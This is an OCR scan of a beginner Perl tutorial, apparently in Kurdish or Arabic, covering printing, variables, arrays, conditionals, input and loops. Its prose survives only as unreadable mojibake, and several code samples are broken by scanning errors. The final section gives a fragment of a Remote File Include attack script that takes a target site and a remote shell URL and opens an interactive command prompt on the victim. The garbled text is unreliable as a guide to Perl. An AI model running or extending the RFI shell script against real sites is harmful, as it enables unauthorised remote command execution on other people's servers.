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cAJJ^ cP^O ^ <3jjj Ci j^ f'j^jj^ cP^O clL^JJ^ ^ e jL f^j jJ 


JAjV aJ 


( Dlovan-IT ) jL*A? jA jL 


r 




Practical Extraction and ) u^j u e j'j^U£ ( PERL ) 
a} i cJ£a_> j Unix ^ j ( Report Language 

Jj<A J ^ejAj jjj hLi?.jk^4j ^jjjxAj ^ûJj^ 

jWj Aljji. cjjijjj ^gAjj jl£<j Operating System jj*u> jud 

Ajljjlgij ^fLjLa j j j£) ‘ j^Jjj ^JSaIaj a! <il&L) <j ujjj^Aj jLûjAA 

i ^jLjAjI^L) J JJjJJJÛ Jj AjLujLj jjj J L-^J-Lûl j£ jjJ ^jI^AjLöJ jIj <S 
aJ AjUIjj 4j J AjUjLL jjj Jjjj ? eJjj*j <j UlllU g jj Jjjj ^UeljS 

6 ji j£Lj jjû J jjj ^U j 4 j UlU >U4lj j \uJji fj 70% a] I.^Jj£U j 

^pUj Aj UyjU£jj ^UeJjS jl£ejA£U a£ Aj^. ej<J cJ jA t J 

j jl^ a 1 öj j AjLujL ^ ^ IjI ^ j jji) (^Löj (J ö J*L J*L) ? öjAJjujjjJAj jj^H 
C* nniAj öjAjj^. 4 j <jjA£ö jLi jjj 4 j jjj J J^LAuoA^ I jji. jj j I^LjjLgjS 


j <ilj jA-ilLû j^Luj <jjA£j ciSjjujjjA jL) LS^Lî^Jaa C!jjjAjL<ij Auuj j4^4j t 
Luxji jA^Aj ^LujL jl^LLa j jjjj jiAAj öj4Jfc <S a£j£<j jj^j öj4j öjAjj jjij 
? jl^ö jiAAj ö jjA^lA a 1 c^Sj^L) ^LojAj öj^LLjjj^j 4, vu^ ^L j>i 

^jjjujLAjjj Jpa j AjöLLuj ^^AjLö jLj IgiAj <>aAj a£j jj^ C-UjI jjL jii.<j 

jAj <uuj jjj^ duL (JAj ; C1jjA£j jLjaL j djjjjjjb ujjjI jjj C1j j^. jj <iSö j<J 
^jLa j <S CIujAA ^aj| jöjLaJ j li^Lfc L? jl Jj <S ^aJJ I jöjLui jj j ^ajl jlj (J<joA£ 

ûit ^ 4 - 1 ^ ^ Lî^? t> >j e J^“ e jU-jj ^ jj ? J^jj 

Aj jjLj ^il jöjL^ <jujA£ jAj AjjjAj 


r 



a£a^UjAj Cjjjj J jU ^jia ^ûjAj jUj IjojUj AÛU jjj 

. Active Perl cua^UjAj cjjjjjAj ^jj a£ 
: cJ j£J cr^J^ cr^j'4? 
JjU ‘-*h^ Jj ^ Active Perl j^U jAj • 

^^AjjolLuj j (jjo^JpL ^^AjjoiJjuj LÎöj (jjjjAijj ^^AjjujJjoj a£jj^> CLAjjI^Aj 

C^UuiUj jA-uAJ Ajjj UuÛJ jA^Aj Ai jja j Jj AjAA jbjl jUş. Ajj UmX 
j<^4j j£kj Ajj AjA*UjAj jAj jUuuLjjIj ejAi jjA^j J ! jJJ Aj jUj Unix 
4-JjJ AjAJb <J<u&Lj4j jAj ^ILujJjJJ ^JjjjAjJj ^^AJjuiJjuJ (JjjAj C1jI£Aj (JjjjJ 
<jLj£ ^£öj<juj a£ öj£ujL ö j4-£jiS ^<S CLuj^jjL LIjjjAj 

http:/ / www.activestate.us. / 

jAj J±A j£ (Jö^LuJ (J jj ^^AjAujLjAj jAA LiöJ <jLujL ^AjI J<jL (J jl jJjuO öj 

Cj a£öj4j jJJ>j j£ jL öj<jj j4ujL 
(Jji (JöjAj jJ CjA£öjAj i jJJ-4 j£ jL <S CIjjjAA AjjuLjj-L a£ AuiLjAj ^»öjj-1 • 

j^aa jU aJ jUA^Aj a£ Notepad lsjij ^j^ ^ SjU jj Uua£uj lA^ 

(Jöj<j-1j£ jj C1jI£L ^jjjjL Aj Cljjuajj-L AuiAj AjIj AjAA LSjjAj jjj^ j£ 

: j^u ^ I j<j Notepad 

Start »» All Program »» Accessories »» Notepad 


^ ^ ^ u 11 


£jj a 1 Ajjjjj A^A± AjIj # pj a! Ajjjjj <Jjij ^Lajja öj <LL 


ls*j£ 

I jAi Notepad jU oh*. jjk ^ _£ ^ jaIaj Ai jjjû jj JjU 

J û?^i crû 4 ^ .pl cUj^U lA?J^ ûj^ 6 U£ J^ ^ûyj^ 

. l yA ‘Uij^u J jAll£aj 

C5^-*j Jj^ 6 J^Û^ er’W^ J ûjAiiA^Ai ^U Lj£ ^a£Aj ^jUUluuUi 

(JjAj 4-jujjjS Löj^juj c/\Jul jj^AJb Clinj (j jjû CIiijI jJ<J 4-u jljj^ öAjö jAj 
L1LöA£ Löj^-juj jijjAj jJ^ j£ pl ^j jjaAA CIijjAj jLujL -lj£ij CLlLujö-1 a£ 
jA£A± <Jjj>LJ jJ LlulJJ 4 LLujAj jLujL ÖjAj ^j£ij CllLuJö^ <£ (JiAj 4 -jujJjS 

aS j Aûi jAj aUja^jj j jjA^j diiijj "Hallow World" lS^ j <J£ 


t 



ij^ öjd N otepad 


LjöJ^juj öjAj JJöAj ^^jöL^JAj (JjJJ 


#!/usr/bin/perl -w 
print "Hello World\n"; 

3jj jLjL first.pl 4jo4j dJö3 Ujjxx) 3J .pl lSjSuJjLj <U <&j liuj^ qLjIj 

?Aj 

Start »» run »> CMD 

cIujjjAj ^a£<uûL^jaj j< juo^aj LLuojj perl first.pl jLujlj 

<jLûjjLj£ <Lu*. ö jAj jjjljj j jj4£j ij£ ^^JJJ^juj L LlojJJ 


j ö j£ ( #!/usr/bin/perl -w) ^uaj a£ ^<kj ^ jjj 

^^fxjL j£ jj^AA ^jLjö jAjuj <1 AjIj CLujAA <J^jj j£ JJ^^ jL AluUjlj 

CIjj jjujj jjj ö j^-J AILujjjjj ö j^-J d jjj 

Ajjjjj öjAj öjjjIa öjA£öjJ$j^. j£ (jlj^ a£ ( _ w) l£^^J L^öjjAA öj 

jl£ö^j£ (J jjjû LS'j^ ^ û ' Ji ^ J^ jjj C5^ û j^ ^ 

J ^-lL j4^4j öjAj (JJjuJjjJJ (jjjj j^ AuOJJ j U-UJ jA^Aj AJjj^J jj AjIj 

Aj<1aa öL j£ CLuIaj jLCu j*Lu3Aj ö jAj CLuj^j^ *3öL j£ a 1 (jLûAIaa Au<uj 

Lu jj AjI j CÎAjLLuj j-öLû ciLj öL j^ j^Lî AjI j ^IAjA^AjjujI j ö jl jJjuj *La 4 u j 

I Û uj 
• --/«*.* 


«iöjjj Print iS<ii 3 l^<u (print "Hello World\n" ;) jLûJjaJjjJ ^öjjj (J JJJ 

3^Lj ^ULudjji D3<U Cjjj.1i jLLy duLj ^ uvx)bu<U Cju3<Uj j<ll<U I3 jlliLjjj <\] 
j j 3 <UL*ij 3<U ^jI 3 ( MM ) CjJjjud^^j^U LiA^^i^ JuDO 3 L 03 Cjjjuud33jj D-Dj£ 

. Cjjjjud^^j^U <UjCdJ<Uj£ JjDO 3<U 3L <\\ CjjjI qLjjj ULudU^lo 
33 j uv£j jb d cul 3 UDjb uv£j jb ^ CjuujU^Io Dj^U DjUuudjjj qLo (\n) 3 <Uj 3 D3 
dJjJ^io^ <ulo<u cjjj ^u I3 Character cjj jjj<u usy D3<u <& 01^33^^ 

cjjjjud 33 j<u IÛ.JJJ uuLj oJ c£ 0 Character 


3<£bLo Character 

******* ************ 

cs^j \n 

03 <Uijl jd£ \r 

CS3J kjv^Jjb \t 

Backspace jj \b 

(jû33 jLud uSö^li <U Q&ub (jujjud33j _şj \v 

Escape jj \e 

jjjojjl^ ir 1 \3 


lower case All 

\L 

lower case Next 

\l 

Upper Case All 

\U 

Upper Case first 

\u 


3 L>j<U ^LojlftUS Qb^U^^jQj p<U Ö3<U <b 033-1 baiU jjbj 3J Llujjj c 


#!/usr/bin/perl -w 
print n Hello\tWorld\n\a n ; 

^D'jujj^Ij <Uö3<U JjjJşQj CjujI jjj ULjj^jj <& v£j j^ ^iujjjj cJ<U <Ldb 

3J 0<£ö:>j£ Ö3<U Oyj^j ö.öj£ 3^ j 4 S<U ^3^ Cjujjjyb Jjjj <jv£bj£ 33^0^ ^vjbj£ 
3 <Uö.öj£ 3CU ,jvybj£ ^bo^U 3I3C CjjjJ<IS iJvjj ^bl^ Ojjjjjb 3J U'jujj^-u <\jJj ol^b o ö j 

. Jj ijv^yO Jo j<Ud öjJjJ 

0 Lo4ö> <u 03 <U4S> 0 Lo Variable vSjlujjolj^jjjj vSjj ,jul^<uLoj 'S<by$j uJ uxŞj 
uuij ?Aj ö3^u dLdjUjls v_9yjc<u 3-1 0L0 Variable Ujjj uJ ^03^0 

^iLj uujjjoj pU vjv^yjyUd 0^33-^ Variable vSjb oLjU ($) 

vSjUdd jjb j lSjLsI j 3 jjb j 3-1 o 33^ ö^Lob pj)j 

#!/usr/bin/perl -w 
$Hello = "Hello World\n n ; 
print SHello; 

^iojj Uöj^Lj variable ijûöj^ J>b ijuUjj^ ,jul^öjjp> uJ ^&j^b öj<u ojjjj 
IjO Hello <d 03 Hello cd 10^, c£ ö Variable vSjb <ul3 $Hello uLojjudjjj 
print $Hello; uLojjjujjjj obib ( "Hello World^rf ) U4& oLo4jjjuj33J p<U 
. Hello World ob<U ob^d Ljjj 3 ol^<U ojjjj 3-1 oUudjjj p<U bLjjj <ul3 

£ ( #< ) OUjl^<U ö.öj£ p<U Ujjj uJ OjjjoJ^ ijujjuj33j 3J 03 

? Ojlo^ cd Ojuj<U 4 jo 


3 uSvjUöj^Lj 4ol j^3^m <d dj jjj LJ-bj£ jUjUJ Lsvjjjyj ijvjjjujjjj ulj Ojloj£ Lö><U 

^jv^jjLj SJ> 4 joUS p^<U o ö -jb ^Lo^b vSjjS o^ljöjbij ^jjjL^ j3j -öj^b o^ ö -^ ö 3b 
UxŞj vSlj.0 ^iaiLdb 3 öjjjujjjj oL^> 3 ^ ^taŞj ^b^^oj jj Ojjjjb 4 ^ Ulujjjyj jjj 
U Uj 4 ^ 3US LS03US 3J O&U j<Ld<ll iJVjIoS 3 öjU&U ijvSb 4 ^ö.öj£ 0<U jj *jv^Jjuj 4 ^ 
,jv^<Ujyjyj 4 jqIS ULjyjyj Ö3US oKj 3 I^^U vSjl^jlujb 3 ol^jjj 4 ^ö.öj£ <ll vSjljU 
ijujjuj^^j 3J Olöj&U ö.öj£ p<U 0^33^^ ^33^ jw jUjUJ o^ 0 ^ ^33^ 

ijubyibj&U jUjUJ duUjjjjoj ^ij^jo^U lSvjJj 0 ^ 33 -^^ ^taŞj I^^U ojp> vSjb 


#!/usr/bin/perl -w 

#< — The "#" sign is not interpreted in perl code, its used for 

comments 

$YourName = "YOURNAME" ; #Append variable 

$YourName 

print "Hello" . " " . "World" . " " . "My" . " " . "Name" . " " . "Is" . " 

" . "$YourName". 

"\n"; 

o3-? ^LjLî J3j 3$i4j Qmjj^S 3 bj 3 j bûj> p<b <b\ j<\o 

qLo^j Variable (jvjoiî Uöj^Lj > 03 I .0 0 Loö 3 <ii.öj^j 33 j 3 0330 ^ cujjj^i 

oliU YourName 1 S 3 L <b 033 ^ v_9 jj£°ö 
< hpj<>b jaj<b 3 I 3 C 3 033 ^ JL 0 Lo Hallow my name is your name 

1 S 3 Û <b jjj_ 3 <b 3 I j<b 3 ö^öb öjji j<b j'Luj^tJ yj[obj<b^Jjjjj ö^öj^luj'tJ 

. #< — 


O&Ij jl^jJJ öjbj^ j^luj^tJ jJ is£><b<bjjjû jj<\a<b 


#!/usr/bin/perl 

#Adding, Subtracting, Multiplying, and Dividing in Perl 
#Perl can do all basic math functions and more. 

$a = 3 + 5 ; #Addition 
$b = 5 * 5; #Multiplication 
$c = 10 / 2 ; #Division 
$x = 12 - 5; #Subtraction 

print $a . " " . "ADDITION: The solution should be 8 .\n"; 
print $b . " " . "MULTIPLICATION: The solution should be 

25.\n"; 

print $c . " " . "DIVISION: The solution should be 5.\n"; 
print $x . " " . "SUBTRACTION: The solution should be 7.\n"; 
#Autoincrementing and Autodecrementing 
$Count = $Count + 1; 
print "$Count\n"; 

#The Same Thing but easier to read 
$Count1 += 1 ; #Decrement $Count1 -=1 1 
print "$Count1\n"; 

#Square Root 
$Square = sqrt(1 21 ) ; 

print "The square root of 121 is $Square\n"; 
#Exponents 


V 


$Exp = 2**5 ; 
print "$Exp\n"; 



Array ^jj <g\$<£ < jj<Ujl9 «ul 3 <uj variable <u <u Array 

j4ö> (jU Oyjjû'lî iSjb<U Llujjj 0>jj j)<ti bö^^U bşouJ Qjj^^liJ^ '4 p > jJ ^Iqjj <Uû 3 <U 
J<U<U33jCû bûjjJ <tojj Lijujjj i Oyjiçj iSjb<U Ojj<Uî> ijvjy OûLujj^jy 3 <6 dlib 

Array iSo^ii <u ^<u ojjjy Hallow World iS<lî$ <6 3b>j<u <uy<u><u 

■ ‘Ujjj 


#!/usr/bin/perl -w 

@Hello = ('Hello', World'); #Arrays use the @ symbol, like a 

variables "$". 
print join(' ', @Hello) . "\n"; 


oLo<£<u ûûû^b > 33* bû jjJ <iojj "@Hello" <d <ujyjj 0 L<£<u Array 
b Array <U o-yljj^ <u>jj "World" <U <ujyjj 0 Ia»oû 3 P 03 "Hello" <U <Ujjjj 
<U <Ujyjj 03 <U û33ûj£ o^ Jion <b (jub^ iS^UijjS^lfi) CsûJûûJûi Oj^j ob^jj öJ<t> 
3<u b<£<u Array <U ojj<tö> 0^ ^ <£<u Array joob?j<u jubiLijj 

vS Method vSja> <u yj<u jj ojyjj<L> Û3 oljj ol^^H iS33o<lfi> <U<ULudj 3<U 

; <£j cU<U33joJ p<U o^j jj<Luj û^ûjl^bp 


#!/usr/bin/perl -w 
#The Split Method 

$Sentence = "Hello my name is Dlovan."; 
@Words = split(/ /, $Sentence) ; 
print "@Words" . " " . "That was splitting data" . "\n"; 
#The Longer Way 
@Hello = ('Hello', World'); 
print $Hello[ 0 ] . " " . $Hello[ 1 ] . "\n"; 

#Count starts at 0 so 'Hello' = 0 and so on 


A 


Dj^U @WOrdS ^U^Uij ?Aj öjLjJifojl^^U qLq^dJjujo ^j<Uş> bö^öj^juj vS^U^Ujjjoj p^ll 
<& 3<u LSI3.D lS<uI3<u qLjL 03 03 jLojl£<u Space ^33-1 cvjUaj^u^ 4j 

jd 4 jo<U j^^jlrbjl^^U jl^Lc* lSd^jCj 4 j 3 jbj l^^U jJ lS-Djjujo lSvjUaJ^U^ ^U D^^U 

^iSjjj ijuJ 3 d^öj^Uj^^j 4^33^0^ D3<uLj3 <u Array jUjuju) jj ^^u^^joj 


#!/usr/bin/perl -w 
@array = qw(dlovan ); 
print join( f ', @array); 

#Simple 

qLljjj ^ j 33J Array qIj^^jo^ ^jLjJ3> qLojI^^u d^öjUuj uJ ^ lS^uLo^u 33J04& 

qLLj^^jo^ 3 jl^Lp* lSd^JjO 4 j qJjuj33J qLjj qjJI^j^U 3 CjLbjl£<U D^li qj^JU^ <b 

. o^^^ 3^ O^-J^ cJ^j 



^ j'j^ jj^ ^ lA^j^ ls^j : c^J^ l£^j J Conditionals 

^jIS^IlgI jS j^j j a ! a^ûAj ( JP Or Then ) ^jI jl jJ^ cKj jaa 

CIAjjISAj IAjuJ^ jj-û j ^ISAjIS cj^jjj C5^ ^SjJjuj ^^jA^û ^AJjuJ^ L Aj<A jAj jJJ-û jS 


<£j 4 ^û4j ^Sj J-Ajuj Aj j JAJ jj 


Cjj jjujjjjAj AjöjJjuj ^Aj ^_^j*Lû ^Sö jAuuj ^jAjjujj öjAjjjj^j ClAjAjjjJJ (JöjAj (jClJ 


if ( Logical ) { Then... } 


4S*\j j-ûJ jiCûAj 


#!/usr/bin/perl -w 
Si = 1 ; 
if($i ==1){ 




,_£û jj 4_j Aj4jjj-aj ajLû j jj dAjjl£<j j<£4j Strillg 4 JjjAA (jAlLuj 

û jû j4_ij jLj 


#!/usr/bin/perl -w 
$i = Hello; 
if($i eq 'Hello') { 
print "Hello!\n"; 

} 

else{ 

print "The variable (i) doesn't equal the correct string!\n"; 

} #Change the value of $i to anything (else) and it will use the 

(else) statement 

Instead 

33J Lfî> oJjjl^'ij oJjjL^ else iS^tîj ûjUj&jl^tj (jLouij else bûjûj'tuj iSoûj£ p<U 
1S3S ijuiuî else iS'töj <til^ yti \$<ti \j$$j<ti OjujI j If-Then (jol^ûjlj'iLjjûi 4J dJ<tj j^ 

jj ûjûj'tu j^U ûjliob (jo <£ iS<ti<ti$ 2 xti $<ti j<Lj<tJ ûjCj^ jSb Oyilji^tî O3S ji ol£<tî 
iS<tjUjj j Qa<ti Oyjj£ qLj OjS iSjjjûjU <ti 3 Ouj^jjûj Q&tijj <tJ ûjjjuj Oyilji^tî 

. liJjjy <tJ jjj ,ii<Lij<t9 ijo>j<to 


_şj ocujl^cu 9 <^o 4 j iSi^^jud ojDjl^cu L^^uujJjjuj^ij <d Ussr Input 

330^ 03^3^) 4 j Olil^JcU 4^ û^cdjjj US3Û 4 j Ujju Lud (jvjl^ûjCUjö>jl^cU 33JOC& uSD^^Uij^^S 
<& D^cUjjjibcU uJcUcU^^joJ DjjJ LijudiJ i Qjjjlftj Ouudûi 4j (jb^^jo^ 3 oKjlu Oji (julS^bjljjl j 
0 ;UJÖ)< 1 Î Ql&UjLyl j 3 D^cul^cUjS q!^DjCUIö)jI^cU <& STIDN qjJcU jûj 


#!/usr/bin/perl -w 
#STDIN Method 

print "Hello my name is Warpboy, what is your name?: "; 

$L1 = <STDIN>; 
chomp $L1; 

print "Nice to meet you $L1 !\n"; 


<U qLo 4 icUj 19 3CU qLjL! $L 1 D33^j^ i_ 9 jjC<U qLq£iLi<Uj 19 bDj<lud I.Djoc&U vSjjj <ll 
jj QLo<UcLLd j p.<\j (jOijjjJ DjDjb jv^jjjj <U lo4£<ubj£ <d qLûIj ûjjijLdb Chomp uS<UÛ 3 

. Nice to meet you oL<u 

uJ uSj3j <U qLö4jocU <& @ARGV iSjb <U cu<1ö> qLojj (jv^jijjjjo Djli qLo'Iö) <\j D3 

03 Ij 3 J 03 <U udjjjLd j<Uud c Uj c Ui< : U J 3 j (JV^fojJ 3 J UjjjOj 3 J 0 <UjlS c U Oj jJjjud^IÎ vSûjJuud 
jjbj 9J tA^U'Ujjjoj ^<U (jv^jjjctud buudjj Ojj pljûijCU c&>jjj ol£<LÎ I3 OcUjLo<U 

ijlûD^jûjS pcj qLuj 4 $jj 


#!/usr/bin/perl -w 
if(@ARGV !=2) { 

print "Usage: perl $0 <name> <number>\n"; 


exit; 


} 

($name, $num) = @ARGV; 

print "Hello $name & your number was: $num!\n"; 

jj 03 $name, $num d<u <U <ujjjj öjUj&j&u O lo Argument bo jjJ 
^ o&u 3 j 0 Lo<tûi 3^0 ijujjjj uiijjjl^i oJj^u @ARGV <1! QLîj^^^ij^ 

. ojj'uLo'U 0 Lo3> 

qLo^ 4 j ^ijjU' ö 03JJ _jj jJ (J^jJj^UjIs 3 jJ udJöJJJjo uJ ^pjL ^UcuJ bu*jJj c UiL jBj 

03UJ ij^ <u j3j GetOpt ‘UJJjj ^ j'UJîîjj&u ^juöj^ J>b 3 j oujjbui 03J0 

<1&j cU^U^^joJ p<U lSjj<Lj 


#!/usr/bin/perl -w 
#GetOpt STD module 
use Getopt::Std; 
getopts (":b:n:", \%args); 
if (defined $args{n}) { 

$n1 = $args{n}; 
if (defined $args{b}) { 

$n2 = $args{b}; 

} 

if (Idefined $args{n} or Idefined $args{b}){ 
print "Usage: perl $0 -n Name -b Number\n"; 
exit; 

} 

print "Hello $n1!\n"; 
print "Your number was: $n2\n"; 
print "Visit today!\n\n"; 

\ t 



Oj_93j j4ol 3 ö^jjI j oluLoj jj'ölj 3J j^^U f>3jlj Loop j^ludClJ 

. Ojjl j<UÎ dili 350^ <U<U33oj p<U juûj^jj<Uuj <U l^j<U <UiLdb Û3<UÎ 

#!/usr/bin/perl 
#Loop Tutorial 
#By Warpboy 
#While Loops 
#Format 

# while (Comparison) { 

# Action } 

#While loops will loop while the comparison is true, if it changes to 

false, it will no 

longer continue to loop through its set of action(s). 

$i = 1; 

while($i <= 5) { 
print "While:" . $i . "\n"; 

$i++; 

} 

#For Loops 
#Format 

# for (init_expr; test_expr; step_expr;) { 

# ACTION } 

## 


# Init expression is done first, then the test expression is tested to 

be true or false 

then - 

# the step expression is executed. 
for($t = 1 ; $t <= 5; $t++) { 
print "For:" . $t . "\n"; 


} 


> i 



vSjjS \j<& <bbj<\j ijul^ jjyj 3 öj^ Ijycu OjljöjLi qI£öö_<£ jjaQsb <11 3J LLujjj 3I3CU 
jjjljLujjj <1j3j Cjjööj _şj ^3^ 3 Cjjj j<&U <ljj JL><lo cJjjui guB) Cjjjju QjjJjjuj&j ijujuuj^^j 

. Cjjjuj33Jlj CjjjJjjujŞjJ O-uljJ^U 032» 3J 3J jJ-U 


qcu^ d ö 3 <Uö 3 ljjj 3 i <6 RFI ( Remote File Include ) d <ujyjj oujl.jW) 
qj^Sj Ojuj^jö Qjjluj&j p^^u ooj Lj Ijjujjj . TIMQ 

OJ c lS c U (jvjuj^ji ^Uö^ii fAj <1Luj c U c Io p<lî 3 J ^USER Input <1 j oLojjujjiCsy böj<luj 

#!/usr/bin/perl 
$site = @ARGV[0]; 

Sshellsite = @ARGV[1]; 

$shellcmd = @ARGV[2]; 

if($siteP/http:\A// 1| $siter/http:W/ 1| !$shellsite) #checks the 

validity of the inputted 

url 

{ 

usg() # If the usr inputted url is invalid jump to the usg subrountine 

} 

header(); # Run the header subrountine 
qj<i£ c U ^^jLuj^jö ^Uö^jji p.<b LOOP <tjl3 <U<lö> cJ c Uö3 c U^! 3> <U oLojjujj^jj obb 


> 0 


while() 

{ 

print "[shell] \$"; 
while(<STDIN>) 

{ 

$cmd=$_; 


chomp($cmd); 


(juui 3 (j0.Su (jjljp^lî (jbjp* ö^jj Jjlj 'jjlS^UJj.l.i.ujSi.jj 4J <&£<U 

jjLili 


(j<^J 


4^ ÛJ3+! i5ö33juj 3 Cjj_j Ji <Ij (jb^^Uli^ J^jii) ^ c Uö 3 c U ö^jj 3 J ^33 bj£ 

4 ^ 033 jjj 3 bjujjj ö^jj jj^U 03^0 IS vSjjii) ^U 33 j<U Jbş><to ^3^ ^j^U (jjb pliii Jjsu^ 

Youtube ijvjjLj oi iSj^Uj^tJ ^U'tû jjjjjjuS cJbsj^id) olS'Uî ^iuî \jy> 3 Qj> Jjjj ( -S < u>jj 

■ qLsşjuj 

: (jl^ö^lşj^Uuj 


http://www.cpan.org 

http://www.securitvdb.or 

http://www.proqramminqtutorials.com/perl.aspx 

http://www.paqeresource.com/cqirec/index2.htm 
http://www.cclabs. missouri.edu/thinqs/inst. . .perlcourse.html 


http://www.ebb.orq/PickinqUpPerl/pickinqUpPerl toc.html 


http://vsbabu.org/tutorials/perl/ 
http://www.thescripts.com/serversidescript. ..quru/paqeO.html 

http://www.perl.eom/pub/a/2002/08/20/perlandlwp.htm 

http://www.perl.com 
http://www. perlmonks.org/index. pl?node=Tutorials 


( ji Cjjljj uvjLi 


